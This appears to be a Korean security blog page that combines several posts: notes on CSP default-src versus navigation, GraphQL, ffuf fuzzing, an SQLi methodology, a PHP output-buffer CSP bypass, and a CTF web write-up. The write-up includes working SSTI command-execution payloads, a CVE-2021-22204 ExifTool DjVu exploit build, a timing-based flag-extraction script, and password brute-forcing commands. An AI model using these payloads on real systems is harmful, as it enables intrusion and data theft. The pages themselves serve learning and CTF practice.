CSP 관련 워게임을 풀다가 리마인드 하게된 내용이 있어 복습겸 다시 적어봅니다.

CSP(Content Security Policy) - default-src

CSP(Content Security Policy)란 페이지에서 데이터를 로드하거나 동작이 수행될 때, 어떤 출처를 허용할지 선언하는 HTTP 헤더입니다.

그 중에서도 default-src 지시어에 대한 내용을 다뤄보겠습니다.

 

CSP에는 다양한 지시어가 있습니다.

<script> 태그나 인라인 이벤트 핸들러, eval()를 담당하는 script-src 

<img> 태그와 CSS 이미지 쪽을 담당하는 img-src

<style> 태그 등을 담당하는 style-src 등등 지시어가 있으며 

그 중 default-src 지시어는 위와 같은 명시되지 않은 리소스 지시어의 기본값을 담당합니다.

즉, 명시하지 않은 리소스 지시어들의 값은 default-src 지시어의 값으로 통일되는 형식입니다.

대부분의 지시어는 리소스 지시어에 포함되어있고 그렇기에 default-src를 명시하면 보통 적지 않은 대부분의 보안 설정이 되는 것 같은 느낌이 들지만.. 막히지 않은 부분이 있습니다.

바로 navigate 계열입니다.

base-uri나 sandbox같은 문서나 기타 계열이 있지만 다루진 않겠습니다.

default-src 'self'와 네비게이션

default-src 'self' 의 뜻은 다른 리소스 지시어들이 명시되지 않았을 때, 그 기본 값을 self로 한다는 뜻입니다.

또한 self의 경우 현재 페이지와 같은 출처만 허용한다는 뜻이고요.

즉 프로토콜, 도메인, 포츠가 모두 현재 페이지와 같아야만 허용하게됩니다.

 

default-src는 fetch 계열 지시어들을 포함합니다.

fetch 계열이란 현재 문서는 그대로 있고, 외부에서 무언가를 가져오는 동작들을 뜻합니다.

브라우저가 현재 문서를 유지한 채로 백그라운드에서 HTTP요청을 보내고 받아오는 과정입니다.

예로 fetch()함수나 <img>태그 처럼 문서에 무언가를 불러오는 동작을 뜻합니다.

 

반대로 네비게이션 계열은 현재 문서 자체가 다른 URL로 이동하는 동작을 뜻합니다.

브라우저를 쓰면서 현재 창의 URL이 바뀌는 동작들이 네비게이션 동작입니다.

default-src의 경우 이 네비게이션 계열의 CSP를 포함하지 않기에 우회가 가능합니다.

문제에서의 활용

풀던 문제의 CSP 설정은 다음과 같았습니다.

    csp = f"default-src 'self'; " \
          f"script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; " \
          f"img-src 'self'; " \
          f"style-src 'self'; " \
          f"object-src 'none'; " \
          f"base-uri 'none';"

 

문제 풀이 과정에서 nonce를 획득하여 XSS가 가능했고, 이를 통해 쿠키로 세션값을 탈취하여 플래그를 구하는 과정이었습니다.

이때 XSS 페이로드에 fetch() 함수를 사용하여 외부로 쿠키를 받아오려했지만 실패하였고, location 객체를 활용했을 땐 성공하였습니다.

 

fetch()함수의 경우 connect-src 지시어의 관할입니다.
위 코드에서 connect-src는 명시되지 않았기에 default-src의 값으로 대신하고, 이 값이 self이므로 외부의 URL이 필터에 걸려 작동하지 않은 것입니다.

 

이에 반해 location 객체는 네비게이션 지시어 관할입니다.

위 코드에서는 navigate-to 관련 지시어가 명시되지 않았기에 네비게이션 관련 필터가 없는 상태입니다.

이 때문에 location 객체를 통해 외부 페이지로 이동되는게 막히지 않았고, 이를 활용하여 세션 쿠키를 획득 할 수 있었습니다.

 

네비게이션 지시어를 설정하고자 한다면 navigate-to 지시어의 값을 조정하면됩니다.

예를들어 self로 지정할 경우 위에서 설명한 것 처럼 같은 출처의 네비게이션 이동만 허용하고, none의 경우 모든 네비게이션 이동을 막게됩니다.

위와 같은 설정을 해두었다면 아마 location 객체 역시 동작하지 않았을 것입니다.

 

 

 

문제를 풀다보니 CSP에 대해서 잘 모르고 있던 사실을 알게되어 글을 적어보네요.

자주 보던 리소스 지시어를 복습하는 시간 겸, 익숙하지 않았던 네비게이션 지시어를 공부하는 문제였습니다.

패치와 네비게이션의 차이를 다시 한 번 되짚어보고 기초를 더 다지게 되는 시간이었네요.

 

'보안 > 이론 정리' 카테고리의 다른 글

API - GraphQL  (0) 2026.03.05
웹 해킹 - SQLi UNION에 대하여  (0) 2026.02.11
웹 해킹 - PHP output buffer overflow  (0) 2025.12.04
웹 해킹 - XSS Filter Bypass  (0) 2025.10.15
스프링부트 - URL 매핑과 컨트롤러  (0) 2025.10.03

GraphQL은 api 통신 방식 중 REST에서 주로 사용하는 방식입니다.
버그바운티를 공부하면서 알게되었고, 정리하면서 기억하기 위해 요약해보겠습니다.

GraphQL

REST API의 대안으로 만들어진 API 쿼리 언어 입니다.

REST API의 경우 여러 정보를 받으려면 각각의 다른 URL에 요청을 보내어 서버가 정해놓은 구조 그대로 데이터를 여러번 받아와야합니다.

이 과정에서 불필요한 데이터도 같이 딸려오고요.

GraphQL은 다르게 원하는 데이터만 하나의 엔드포인트에 직접 명시하여 요청합니다.

요청 과정을 줄이고 원하는 데이터만 가져와 불필요한 요청도 확연히 줄어드는 특징이 있습니다.

query {
  user(id: 1) {
    name
    email
    posts {
      title
      createdAt
    }
  }
}

 

이렇게 하면 user의 name, email, 그리고 각 게시글의 title과 createdAt만 가져오게됩니다.

GraphQL의 동작

1. Query 

 

query는 서버에서 데이터를 조회할 때 사용합니다.
REST의 GET 요청 처럼 데이터를 가져오는 역할을 합니다.

query {
  book(id: "123") {
    title
    price
    author {
      name
    }
  }
}

 

예로 이런 요청을 보낸다면, book에서 id가 123인 데이터의 title과 price, author의 name에 대한 데이터를 줘 라는 요청이 됩니다.

그러면 서버는 클라이언트가 요청한 데이터만 그대로 반환하게 됩니다.

{
  "data": {
    "book": {
      "title": "클린 코드",
      "price": 33000,
      "author": {
        "name": "로버트 C. 마틴"
      }
    }
  }
}

 

book에 출판사나 출판일, 페이지 수 같은 다른 필드가 있었어도 클라이언트가 요청하지 않았기에 서버는 불필요한 데이터를 같이 보내지 않습니다.

 

2. Mutation - 데이터 변경

 

뮤테이션은 데이터에 대한 수정, 삭제, 생성을 할 때 사용합니다

REST의 POST, PUT, PATCH, DELETE에 해당하는 역할입니다.

mutation {
  createReview(input: { #서버의 정의된 createReview 라는 뮤테이션 호출 (함수 호출)
    bookId: "123"
    rating: 5
    comment: "정말 유익한 책입니다"
  }) { #리뷰를 생성한 다음, 아래의 데이터를 돌려줘 라는 요청
    id
    rating
    comment
    createdAt
    book {
      title
      averageRating
    }
  }
}

 

위의 요청을 별점과 리뷰를 작성하는 요청입니다.

보면 뮤테이션을 호출해서 별점과 리뷰를 작성하고, 응답으로 데이터를 받을 때 클라이언트가 원하는 데이터만 받는 형식입니다.

REST API 였다면 한 엔드포인트로 리뷰를 생성하고, 응답으로 리뷰 데이터를 받을 때 서버가 정해놓은 필드 전부가 돌아옵니다.

후에 내가 작성한 별점이 반영된 새 별점 평균을 알려고자 한다면 엔드포인트에 다시 한번 요청하여 새 별점 평균을 받아와야합니다.

 

이처럼 두 번의 요청과 불필요한 데이터를 응답받는 것을 GraphQL에서는 한 번의 요청과 필요한 데이터만을 응답받아 별도의 추가 요청이 필요없게 됩니다.

 

3. Subscription - 실시간 데이터

 

서브스크립션은 서버에서 특정한 이벤트가 발생할 때 클라이언트에게 자동으로 데이터를 푸시하는 방식입니다.

재고의 변동이나 배송 현황 같은 기능들을 서비스 할 때 주로 사용합니다.

subscription {
  bookStockChanged(bookId: "123") { #bookStockChanged라는 서브스크립션에 대해 요청 (함수 요청)
    bookId
    title
    stock
    status
  }
}

 

위와 같은 서브스크립션을 등록해두면, 누군가 책을 구매해서 재고가 변할 때 마다 저 데이터들을 서버가 자동으로 알려줍니다.

 

// 첫 번째 이벤트 (1권 구매)
{
  "data": {
    "bookStockChanged": {
      "bookId": "123",
      "title": "클린 코드",
      "stock": 4,
      "status": "IN_STOCK"
    }
  }
}

// 두 번째 이벤트 (마지막 구매, 재고 소진 알림)
{
  "data": {
    "bookStockChanged": {
      "bookId": "123",
      "title": "클린 코드",
      "stock": 0,
      "status": "OUT_OF_STOCK"
    }
  }
}

 

이런식으로 실시간 데이터와 상태를 받아야 할 때 서브스크립션이 사용됩니다.

서버 측 스키마 정의

위와 같은 세가지 동작을 위해서는, 서버에 미리 이런 기능들을 정의해둬야합니다. 

그걸 스키마 정의라고 합니다.

서버가 클라이언트에게 이러이러한 기능들을 제공할께 라고 선언하는 부분입니다.

이 스키마가 존재함으로써 어떠한 기능들이 있는지 한 눈에 알아볼 수 있습니다.

또한 타입을 미리 정의함으로써 타입 안정성 역시 보장되는 장점이 있습니다.

 

위에서 예시 든 동작들에 대해서 아래와 같이 선언하겠습니다.

type Query {
  book(id: ID!): Book
  books(category: String, limit: Int): [Book]
  user(id: ID!): User
}

type Mutation {
  createReview(input: ReviewInput!): Review
  updateCartItem(itemId: ID!, quantity: Int!): CartItem
  deleteReview(id: ID!): DeleteResult
}

type Subscription {
  bookStockChanged(bookId: ID!): StockUpdate
  orderStatusUpdated(orderId: ID!): OrderStatus
}

 

 

각각 쿼리 타입, 뮤테이션 타입, 서브스크립션 타입에 대한 정의입니다.

쿼리 타입부터 보겠습니다.

type Query {
  book(id: ID!): Book
  books(category: String, limit: Int): [Book]
  user(id: ID!): User
}

 

클라이언트가 조회할 수 있는 것들의 목록입니다.

 

1. book(id: ID!): Book 

id를 필수로 받아서 Book 하나에 대한 데이터를 반환한다는 뜻입니다.

이때 요청받는 값에 !가 붙어있다면 필수로 받아야하는 값이라는 뜻이고, 아니라면 선택적으로 받아야하는 값입니다.

 

2. books(category: String, limit: Int): [Book]

category와 limit에 대해 선택적으로 값을 받고, Book의 배열을 반환한다는 뜻입니다.

카테고리나 리미트가 없으면 Book 전체를 돌려줄 것이고, 카테고리가 있다면 그 카테고리의 Book만, 리미트가 있다면 리미트 만큼만 돌려줄 것 입니다.

 

3. user(id: ID!): User

id를 필수로 받아서 그 id에 맞는 유저를 반환한다는 뜻입니다.

 

다음은 뮤테이션 타입입니다.

type Mutation {
  createReview(input: ReviewInput!): Review
  updateCartItem(itemId: ID!, quantity: Int!): CartItem
  deleteReview(id: ID!): DeleteResult
}

 

이건 클라이언트가 변경할 수 있는 것들의 목록입니다.

 

1. createReview(input: ReviewInput!): Review

리뷰 작성 기능입니다.

ReviewInput의 경우 별도로 정의된 입력타입이고, Review의 경우 서버가 돌려주는 데이터의 형식으로 별도로 선언된것 입니다.

아래와 같다고 가정하겠습니다.

input ReviewInput {
  bookId: ID!
  rating: Int!
  comment: String
}

type Review {
  id: ID!
  rating: Int!
  comment: String
  createdAt: String!
  book: Book!
}

 

즉 클라이언트가 bookID와 별점인 rating, 댓글인 comment를 변경하고자 요청하면

서버는 id와 별점, 댓글과 작성된 시간, 그리고 그 책에 대한 정보를 반환해주는 형태입니다.

 

2. updateCartItem(itemId: ID!, quantity: Int!): CartItem

카트에 들어있는 아이템의 갯수를 변경하는 기능합니다.

바꾸고자 하는 아이템의 id와 갯수를 필수로 받고 카트의 아이템들의 상태를 돌려줍니다.

 

3. deleteReview(id: ID!): DeleteResult

삭제할 리뷰에 대한 기능입니다.

삭제할 리뷰의 id를 필수로 받고, 삭제 후 응답을 돌려줍니다.

 

마지막으로 서브스크립션 타입입니다.

type Subscription {
  bookStockChanged(bookId: ID!): StockUpdate
  orderStatusUpdated(orderId: ID!): OrderStatus
}

 

클라이언트가 실시간으로 받을 수 있는 이벤트 목록입니다.

 

1. bookStockChanged(bookId: ID!): StockUpdate

특정 책에 대한 제고를 보여주는 기능입니다.

특정 책에 대한 id를 필수로 받고, 그 책의 재고가 변할 때 마다 업데이트를 받겠다는 의미입니다.

 

2. orderStatusUpdated(orderId: ID!): OrderStatus

특정 주문의 상태가 바뀔 때 마다 업데이트 해주는 기능입니다.

주문의 id를 필수로 받고 주문의 상태가 바뀌면 알림을 준다는 기능입니다.

ffuf (Fuzz Faster U Fool)

ffuf는 웹 퍼징 도구로 디렉토리나 파일 정찰, 파라미터 탐색 등 브루트 포싱을 이용한 정찰 도구입니다.

블랙박스 문제나 일부 버그바운티 과정에서 트래픽을 주의하며 사용할 수 있기에 정리해보았습니다.

기본 구조

ffuf -u http://target.com/FUZZ -e .php,.txt,.html,.bak -w <워드리스트 경로>
# -u 옵션은 url 설정
# -e 옵션은 확장자를 추가

 

FUZZ라는 키워드가 들어간 자리에 워드리스트의 단어가 하나씩 대입되어 부루트포싱하는 구조입니다.

응답 필터링

1. 특정 상태코드만 (Match)

-mc 200,301,302,403

 

2. 특정 상태코드 제외 (Filter)

-fc 401,403,404

 

3. 응답 크기 기반 필터

-fs 1234         # 응답 크기가 1234바이트인 결과 제외

 

4. 응답 단어 수 기반 필터

-fw 42           # 단어 수가 42개인 결과 제외

 

5. 응답 라인 수 기반 필터

-fl 10           # 라인 수가 10인 결과 제외

 

6. 정규식 필터

-fr "not found"  # 응답 본문에 "not found"가 포함된 결과 제외

사용 예시

ffuf -u "http://target.com/page?FUZZ=test" -w /usr/share/wordlists/params.txt -fc 404
# GET 파라미터 퍼징, 404 상태코드 제외

ffuf -u "http://target.com/page?FUZZ=W2" -w params.txt:FUZZ -w values.txt:W2 -fc 404
# 두 개이상의 값을 동시에 퍼징할려면 위와 같이 각각의 키워드에 워드리스트를 대응시켜야함.
# params.txt:FUZZ -w values.txt:W2 이런식으로 작성

ffuf -u http://target.com/login -X POST \
  -d "username=admin&password=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w /usr/share/wordlists/rockyou.txt -fc 401
# -X 옵션으로 메소드 결정
# -d 옵션으로 데이터 포함
# -H 옵션으로 헤더 설정
# curl 옵션과 동일

가상 호스트(서브 도메인) 탐색 예시

ffuf -u http://target.com -H "Host: FUZZ.target.com" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 1234   # 기본 페이지 크기를 필터링

헤더 퍼징 예시

ffuf -u http://target.com/admin -H "X-Forwarded-For: FUZZ" -w ips.txt

쿠키/인증 포함 퍼징 예시

ffuf -u http://target.com/FUZZ -w wordlist.txt \
  -b "session=abc123" \           # 쿠키
  -H "Authorization: Bearer {token}"  # 인증 헤더
# -b 옵션은 HTTP 요청에 쿠키를 포함시키는 역할

재귀 탐색 (깊이 탐색)

ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2

-recursion                # 재귀 탐색 활성화
-recursion-depth 3        # 최대 깊이 설정 (기본값: 0 = 무제한, 위험!)
-recursion-strategy greedy  # 전략 설정

설정
default - 응답 코드가 리다이렉트인 경우에만 디렉토리로 판단하고 재귀 진입
greedy - 매칭 된 모든 결과에 대해 재귀 진입

기타 주요 옵션 정리

  • -t : 스레드 수 결정, 기본 40. 스레드 1당 한개의 요청을 동시에 보냄.
  • -rate : 초당 요청 수 제한 옵션 
  • -timeout : 요청 타임아웃 (초) 설정
  • -o : 결과를 파일로 저장
  • -of : 출력 형식을 지정
  • -ic : 워드리스트의 코멘트 무시 (주석 무시)
  • -ac : 기본 응답을 자동으로 걸러주는 옵션
  • -s : 결과만 출력하는 사일런트 모드 설정
  • -p : 요청 간 딜레이(초) 설정

 

 

'보안 > 워게임 (웹 해킹)' 카테고리의 다른 글

Challenge - old-25 write up  (0) 2025.04.12
Challenge - old-23 write up  (0) 2025.04.12
Challenge - old-27 write up  (0) 2025.04.09
Challenge - old-54 write up  (0) 2025.04.05
Challenge - old-38 write up  (0) 2025.04.05

 

매번 CTF 참가하고 라이트업 쓰려하니, 문제 서버가 바로 닫혀서 못 쓰다가 이번엔 풀면 바로바로 써서 저장해두려합니다.

Web 분야의 문제들만 풀어보았습니다.

1. Templates

 

Web 중 WarmUp에 분류되어있던 쉬운 문제입니다.

문제명부터 탬플릿이니 아마 SSTI겠죠

수상한 입력폼이 보입니다. 

SSTI라고 가정하고 {{7*7}}을 넣어보면

보시다싶이 7*7의 계산값인 49가 나왔습니다.

{{config}}를 입력해보면

역시 잘 작동하네요.
이를 이용해서 os 명령어를 실행하여 flag를 찾아보겠습니다.

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

 

config가 가능하다는걸 알았기에 config 속성을 타고타고 globals의 os명령어에 닿을 수 있습니다.

일단 flag 파일의 존재 유무도 모르기에 루트 디렉토리 부터 찾아보겠습니다.

app 디렉토리에 아마 문제 파일이 있을거같죠?
app디렉토리도 보겠습니다.

{{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}

바로 찾았네요. 
cat 명령어로 /app/flag.txt의 내용을 보면

{{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}

 

이렇게 플래그를 획득 할 수 있습니다.

 

FLAG : 0xfun{Server_Side_Template_Injection_Awesome}

2. Shell

 

제목처럼 Shell을 이용하는 문제 같네요. 

EXIF 메타데이터를 이용해서 flag.txt를 읽으면 되는것 같습니다.

 

문제 서버에 들어가니 저렇게 파일을 업로드 할 수 있는 기능만 주어졌습니다.

해서 exif 관련한 cve가 풀이방법일 것 같아서 찾아보니 딱 알맞는 cve를 찾았습니다.

CVE-2021-22204를 보면 DjVu모듈의 문자열파싱 메커니즘에 허점이있어서 \c 라는 특수한 이스케이프 뒤에 ${system... } 같은 시스템 명령어가 삽입되는 취약점이 있다고합니다.

해서 아래와 같은 방식으로 익스플로잇 파일을 만들었습니다.

echo -n '(metadata "\c${system('cat /flag.txt')};")' > payload

bzz payload payload.bzz

djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTz=payload.bzz

mv exploit.djvu exploit_v3.jpg

 

bzz로 압축 후 djvu 형식으로 파일을 만들어 cve와 동일하게 jpg파일을 만들었습니다.

처음에 cat 명령어를 더블쿼터로 감쌌더니 재대로 작동을 안해서, 싱글쿼터로 감싸주었습니다.

그 후 문제에 올려보면

 

이렇게 플래그가 출력됩니다.

 

FLAG : 0xfun{h1dd3n_p4yl04d_1n_pl41n_51gh7}

3. Perceptions

 

문제 설명처럼 블로그 페이지를 보여줍니다.

 

로그인 페이지에서 SQLi로 푸는 문제인가.. 했는데 적힌것 처럼 로그인 서비스가 재대로 작동하지 않았습니다.

해서 개발자도구에서 소스코드를 보다보니

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Secret Post</title>
  <link rel="stylesheet" href="/style.css" />
  <script src="/links.js"></script>
</head>
<body>
  <header class="header">
    <h1 id="name">[placeholder]'s Blog</h1>
  </header>

  <div class="container">
    <aside class="sidebar">
      <h2>Pages ✨</h2>
      <nav>
        <ul id="navlist">
        </ul>
      </nav>
    </aside>

    <main class="content">
      <h2>Secret Post</h2>
      <br>
      <img src="/img/mystery.jpg" alt="How mysterious" />
      <p>
        Thought I'd make things a bit fun and hide a password on this page. When I get the login page working it will let you see some extra posts...
        <!-- Use my name and 'UlLOPNeEak9rFfmL' to log in -->
      </p>
    </main>
  </div>
</body>
</html>

 

주석에 패스워드가 적혀있었습니다.

id의 경우 /name 엔드포인트에 요청해보니 Charlie 라는걸 알 수 있었습니다.

해서 아이디는 Charlie, 패스워드는 UlLOPNeEak9rFfmL 라고 파악했습니다.

문제는 login 페이지가 작동을 안하는 상태인데, 이 계정을 어떻게 쓸 지 감을 못잡았습니다.

 

해서 클로드에게 좀 물어보다보니, SSH의 계정이지 않을까 라는 추측을 하게 되었습니다.

문제 설명을 보면, 하나의 포트에서 여러 서비스를 처리한다고 합니다.

해서 curl로 문제 서버 포트에 ssh 연결 요청을 보내보았습니다.

ssh Charlie@chall.0xfun.org -p 54919

 

놀랍게도 정답이었습니다.

비밀번호는 주석에서 알아낸 UlLOPNeEak9rFfmL를 입력해주니 통과가 되었습니다.

 

바로 쉘에 접속하게 되어서 파일들을 보다보니 누가봐도 플래그가 있는 파일을 찾았고

 

flag.txt를 열어보니 위처럼 플래그를 얻을 수 있었습니다.

FLAG : 0xfun{p3rsp3c71v3.15.k3y}

4. Schrödinger's Sandbox

 

좀 특이한 문제였습니다.

문제 서버에 접속하면 아래처럼 코드를 실행 시킬 수 있는 페이지가 나타납니다.

 

파이썬 코드를 실행하면 A와 B에서 코드가 실행되고, 그 시간을 보여줬습니다.

 

문제 설명을 보면 같은 코드가 각각 A와 B에서 실행되고, 실행되는 값이 동일 할 때 OUTPUT에 출력되는 구조라는걸 알 수 있었습니다.

해서 아마 진짜 플래그와 가짜 플래그가 각각 A와 B에 숨겨져 있을 것이고, 시간을 보여주는걸 보니 코드가 실행되는 시간의 차이로 진짜 플래그를 찾아야하는 것 같습니다.

import time
flag = open("/flag.txt").read()
if flag[0] == '0':
    time.sleep(2)
print("done")

 

이런식으로 출력은 done으로 고정하여 두 서버가 동일한 출력을 하게 시키고, 대신 if문으로 flag의 첫 값이 0이라면 2초를 지연시키게 함으로써 두 플래그를 모두 알아보았습니다.

예로 첫글자가 0이라면 아래 지연시간에 2s가 적힐 것이고, 아니라면 0.01에 가까운 시간이 찍힐 것 입니다.

해서 파이썬으로 자동화코드를 짜서 해결하였습니다.

import requests
import hashlib
import time
import string
import random

URL = "http://chall.0xfun.org:40842"
KNOWN = "0xfun{"
SLEEP_TIME = 2
TIME_THRESHOLD = 1.0  

CHARSET = (
    string.ascii_lowercase +
    "_" +
    string.digits +
    string.ascii_uppercase +
    "-!}"
)

def compute_pow(difficulty=4):
    target = '0' * difficulty
    while True:
        test = f"{int(time.time()*1000)}-{random.randint(0,999999)}-{random.random()}"
        if hashlib.sha256(test.encode()).hexdigest().startswith(target):
            return test

def submit_code(code):
    pow_nonce = compute_pow(4)
    try:
        response = requests.post(
            f"{URL}/api/submit",
            json={"code": code},
            headers={
                "Content-Type": "application/json",
                "X-Pow-Nonce": pow_nonce
            },
            timeout=30
        )
        return response.json()
    except Exception as e:
        print(f"  요청 실패: {e}")
        return {"error": str(e)}

def test_char(position, char):
    code = f"""import time
flag = open("/flag.txt").read()
if len(flag) > {position} and flag[{position}] == {repr(char)}:
    time.sleep({SLEEP_TIME})
print("done")
"""
    result = submit_code(code)

    if 'error' in result:
        print(f"  에러: {result['error']}")
        return None

    time_a = result.get('time_a', 0)
    time_b = result.get('time_b', 0)
    status = result.get('status', '?')

    a_hit = time_a > TIME_THRESHOLD
    b_hit = time_b > TIME_THRESHOLD

    if a_hit and b_hit:
        label = "<<< BOTH (둘 다 이 문자)"
    elif a_hit:
        label = "<<< A only"
    elif b_hit:
        label = "<<< B only"
    else:
        label = ""

    print(f"  [{char}] a={time_a:.4f} b={time_b:.4f} {status} {label}")

    return {
        "char": char,
        "a_hit": a_hit,
        "b_hit": b_hit,
        "time_a": time_a,
        "time_b": time_b,
    }

def extract_flag():
    # 검증 테스트
    print("[*] 검증: flag[0]=='0' 테스트")
    r = test_char(0, '0')
    print()

    flag_a = KNOWN  # Sandbox A의 플래그
    flag_b = KNOWN  # Sandbox B의 플래그
    print(f"[*] 시작: {KNOWN}")
    print(f"[*] 위치 {len(KNOWN)}부터 탐색\n")

    for pos in range(len(KNOWN), 100):
        print(f"--- 위치 {pos} ---")
        a_found = False
        b_found = False
        a_char = "?"
        b_char = "?"

        for char in CHARSET:
            r = test_char(pos, char)

            if r is None:
                continue

            if r["a_hit"] and not a_found:
                a_char = char
                a_found = True
            if r["b_hit"] and not b_found:
                b_char = char
                b_found = True

            # 둘 다 찾았으면 다음 위치로
            if a_found and b_found:
                break

            time.sleep(0.3)

        flag_a += a_char
        flag_b += b_char
        print(f"\n[+] A: {flag_a}")
        print(f"[+] B: {flag_b}\n")

        # 둘 다 못 찾으면 종료
        if not a_found and not b_found:
            print(f"[!] 위치 {pos}에서 둘 다 매칭 실패. 종료.")
            break

        # 둘 다 }를 만나면 종료
        if a_char == '}' and b_char == '}':
            break


    print(f"\n=============================")
    print(f"[*] Sandbox A 플래그: {flag_a}")
    print(f"[*] Sandbox B 플래그: {flag_b}")
    print(f"=============================")

if __name__ == "__main__":
    extract_flag()

 

 

FLAG : 0xfun{schr0d1ng3r_c4t_l34ks_thr0ugh_t1m3}

 

CTF가 끝나기 4시간전에 대회하는걸 알아채서 쉬운문제만 좀 풀다가 끝났네요.

더 하고싶었는데 아쉬운 대회였습니다.

'보안 > CTF' 카테고리의 다른 글

[V1t CTF 2025] Web write-up  (0) 2025.11.06
[CubeCTF] Web - Legal Snacks write-up  (0) 2025.07.07

블랙박스 문제 중 SQLi 문제들을 풀때 막막한 부분들이 있었습니다.

이번 기회에 그런 문제들을 풀 때를 대비하여 여러가지 사고흐름들을 정리해보고자 합니다.

 

1. SQLi 존재 여부 확인

url에 get으로 페이지 인덱스 부분에 값이 들어가고, 혹은 회원가입이나 로그인 창에서 id, pw를 입력하는 칸에 저희가 원하는 값을 넣을 수 있습니다. 

이런 상황에서 SQLi가 작동하는지, 작동하면 어느 부분에서 어떤 쿼리로써 코드가 작성되어있는지를 확인해야합니다.

입력포인트에 SQL 에러를 유도하며 값을 넣어봅니다.

  • ' → SQL 쿼리 닫기
  • " → 같은 맥락
  • \ → 이스케이프 처리 확인
  • ' or 1=1 → 늘 보던 참 거짓 비교
  • ' or 1=2 → 거짓을 유도하여 빈 페이지나 에러 등 다른 응답 확인
  • ' and sleep(3) → 시간 기반 SQLi 확인

2. 입력값에 대한 추론

코드를 보여주지 않는 상태에서는 쿼리의 구조를 모릅니다.

때문에 쿼리 구조를 유추해가며 쿼리를 무력화시켜야합니다.

주로 입력넣은 값의 뒤에오는 원래 쿼리를 무력화하는것을 목표로합니다.

  • 1 또는 1' → 따옴표를 하나 더 넣음으로써 문법에러를 유도, 그걸 통해서 SQLi 가능성을 추론합니다.
  • 1) -- → 괄호를 감쌌을 때 에러가 나지 않으면 괄호를 이용한 구조
  • --, # 등 → 주석 처리가 되는지 시도

3. UNION 사용 가능 여부

유니온문이 가능할려면 조건이 있습니다.

  1. 쿼리가 select 문이어야 함.
  2. 결과가 화면에 출력되어야 함.(아닐시 블라인드로)
  3. union 키워드가 필터링되지 않아야 함.

특히 정상 요청을 보냈을 때 쿼리 결과가 페이지에 보이는것이 중요합니다.

유니온문을 넣었을 때 blocked나 forbidden 같은 반응이면 우회가 필요하다는거고, SQL 에러면 파싱은 되었다는것 이기에 유니온문이 가능하다는 판단을 할 수 있습니다.

4. 컬럼 수 맞추기

유니온 문은 select문의 컬럼 수가 같아야만 합니다. 

때문에 컬럼 수를 맞춰가면서 알맞은 컬럼 수를 찾아야합니다.

 

1. order by 절 사용

  • 1 ORDER BY 1 -- → 정상
  • 1 ORDER BY 2 -- → 정상
  • 1 ORDER BY 3 -- → 에러

이런 상황이라면 컬럼 수가 3일 때 에러가 났으므로 쿼리에 컬럼이 2라는것을 알 수 있습니다.

 

2. union select 문의 컬럼수 늘려보기

  • 1 UNION SELECT 1 -- → 에러
  • 1 UNION SELECT 1, 2 -- → 정상

1, 2 같은 값 대신 NULL값을 넣어도됩니다.

보통 NULL을 넣을 때 타입 충돌을 피할 수 있기에 NULL이 좀 더 편하긴합니다.

order by 와 다르게 에러가 아닌 정상 메세지로 컬럼 수를 확인 합니다.

5. 컬럼 출력 위치 파악

컬럼 수를 알았으면 어떤 컬럼이 어느 위치에 출려되는지 확인해야합니다.

  • -1 UNION SELCET 1,2 -- 

일부러 존재하지 않는 값 (예시에선 -1)을 넣어 1과 2가 출력되게 한 후, 어느 부분에 1과 2가 각각 출력되는지 확인할 수 있습니다.

존재하는 값을 넣으면 만약 출력부분이 하나의 데이터만 출력한다면, 1과 2가 아닌 기존의 존재하던 값이 출력되어 출력포인트 체크가 힘들게 됩니다.

6. 원하는 정보 추출

출력 위치를 알았다면 그 부분에 원하는 쿼리값을 넣어 데이터를 추출합니다.

DB 버전을 원한다면 version()을, DB 명을 원하면 database()를, 특정 컬럼의 값을 원하면 그 컬럼명을 넣어 정보를 얻습니다.

 

 

 

'보안 > 이론 정리' 카테고리의 다른 글

웹 해킹 - default-src와 네비게이션  (0) 2026.06.07
API - GraphQL  (0) 2026.03.05
웹 해킹 - PHP output buffer overflow  (0) 2025.12.04
웹 해킹 - XSS Filter Bypass  (0) 2025.10.15
스프링부트 - URL 매핑과 컨트롤러  (0) 2025.10.03

워게임을 풀다가 공부하게된 php 버퍼 취약점 입니다.

php는 내부적으로 출력 버퍼를 가지고 있습니다.

이때 버퍼가 일정 크기 이상으로 커지면, php가 버퍼를 자동으로 전송하게 됩니다.

이를 이용하여 특정 코드에서 CSP 등을 우회 할 수 있습니다.

if (strpos($comment, 'abc') !== false) {
    echo $prefix . $comment;             
}

if (strpos($comment, 'script') !== false) {
    $untrusted_comment = $_GET['comment'];

    while (strpos($untrusted_comment, 'script') !== false) {
        echo $alert;                    // 특정 문자열 출력 (ex. 경고문)
        echo $untrusted_comment;         
        $untrusted_comment = str_replace('script', '', $untrusted_comment);
    }
}

$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: ... nonce-{$nonce}");

 

드림핵 워게임 중 일부를 수정하여 예시로 든 코드입니다.

보안의 중점인 CSP 헤더가 코드의 맨 뒷 부분에서 추가되는 모습입니다.

이때 위에서 조건문 안에 적힌 echo 문들이 문제가됩니다.

 

위에서 말씀드린거처럼 php 버퍼에 일정량 이상의 정보가 쌓이면 php가 내부적으로 응답을 그냥 보내버리게됩니다.

echo문이 바로 그 버퍼를 채우는 역할을 합니다.

 

조건문을 보면 script 라는 문자열이 입력값에 있을 때 그 값을 공백으로 바꾸면서  $alert값 (특정 문자열)을 출력값에 더하게됩니다.

그냥 보면 입력 검증 후 CSP 헤더를 추가하여 출력하는 정상적인 코드로 보이지만, script가 입력값에 아직 남아 있으면 계속 루프를 돌면서 echo로 alert값을 출력에 더하게됩니다.

이를 통해 버퍼가 과도하게 가득 차게됩니다.

 

공격자가 입력값에 script 값을 여러번 넣어서 echo 문을 과도하게 많이 출력시키게 한다면 php의 출력버퍼가 꽉 차게 되어 뒤에 붙을 CSP 헤더의 공간이 없어지게 됩니다.

그 상태에서 출력값이 나가면 CSP 헤더가 붙지 않고 응답이 나가게됩니다.

즉 CSP를 우회하는 결과가 나오게 됩니다.

 

